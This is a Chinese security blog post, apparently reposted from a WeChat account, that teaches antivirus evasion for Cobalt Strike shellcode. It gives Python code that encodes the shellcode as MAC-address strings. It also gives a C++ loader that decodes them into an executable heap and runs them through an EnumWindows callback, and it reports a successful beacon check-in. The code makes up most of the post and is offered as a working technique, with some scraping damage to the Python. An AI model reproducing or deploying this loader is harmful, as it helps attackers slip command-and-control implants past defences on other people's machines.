【免杀】 PY加密C++回调免杀CS shellcode

admin 2022年8月28日20:37:29评论206 views字数 1644阅读5分28秒阅读模式
【免杀】 PY加密C++回调免杀CS shellcode
【免杀】 PY加密C++回调免杀CS shellcode

1简介:

首先是对shellcode的加密转换,再去c++转换回shellcode利用回调函数加载至内存加载shellcode

2编译步骤:

1.shellcode放到py加密进行转换,这里转换为mac

【免杀】 PY加密C++回调免杀CS shellcode

2.放到c++编译生成:

【免杀】 PY加密C++回调免杀CS shellcode

3.测试上线:

【免杀】 PY加密C++回调免杀CS shellcode

【免杀】 PY加密C++回调免杀CS shellcode

3代码分析:

1.加密部分:

defconvertToMAC(shellcode):    if len(shellcode) % 6 != 0:       print("n[*] length:", len(shellcode) + (6 -(len(shellcode) % 6)))        addNullbyte = b"x00" *(6 - (len(shellcode) % 6))        shellcode += addNullbyte               mac = []        for i in range(0,len(shellcode), 6):            tmp_mac = ""           for j in shellcode[i:i + 6]:                iflen(hex(j).replace("0x", "")) == 1:                   tmp_mac = tmp_mac + "0" + hex(j).replace("0x","").upper() + "-"                else:                   tmp_mac = tmp_mac + hex(j).replace("0x","").upper() + "-"                   mac.append(tmp_mac[:-1])                    return mac                               if __name__ == '__main__':    buf =b'''shellcode'''    u = convertToMAC(buf)    print(str(u).replace("'","""))

加密自己看,都是生搬硬套了,就不装那个比了

2.C++代码分析:

#include<Windows.h>#include <iostream>#include<ip2string.h>#pragma comment(lib,"Ntdll.lib")

//将转换后的shellcode(shellcode->mac)constchar* mac_[] ={ 加密shellcode };

int main(){ HANDLE hc =HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//在进程的虚拟地址空间中保留空间 void* SB = HeapAlloc(hc, 0, 0x100000);//申请内存 DWORD_PTR hptr = (DWORD_PTR)SB; int elems = sizeof(mac_)/ sizeof(mac_[0]); PCSTR Terminator = ""; for (int i = 0; i < elems; i++) {
if(RtlEthernetStringToAddressA(mac_[i], &Terminator,(DL_EUI48*)hptr) == STATUS_INVALID_PARAMETER) { printf("ERROR!"); return 0; } hptr += 6; } EnumWindows((WNDENUMPROC)SB, 0);


首先是ntdllR3应用层到R0内核调用的入口,Kernel32.dlluser32.dll中的所有win32API 最终都是调用ntdll.dll中的函数实现的。

ip2string.h头文件:

【免杀】 PY加密C++回调免杀CS shellcode

3.主函数流程:

首先创建辅助堆栈,这里是为了设置堆栈的代码可运行;

之后申请内存空间要多少;

DWORD_PTRhptr就是个指针,存放了SB的内存地址;

19行代码计算数组大小;

for解密

最后回调函数,说白了就是转到目标地址进行加载;

4总结:

C++免杀大体可以分为,加密,注入,远程线程,读取。并不难,但是免杀出的越来越多也会越来越难做正向加载的免杀,有条件学学pe直接改特征吧

5关注

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏噢



原文始发于微信公众号(moonsec):【免杀】 PY加密C++回调免杀CS shellcode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日20:37:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】 PY加密C++回调免杀CS shellcodehttp://cn-sec.com/archives/1256701.html

发表评论

匿名网友 填写信息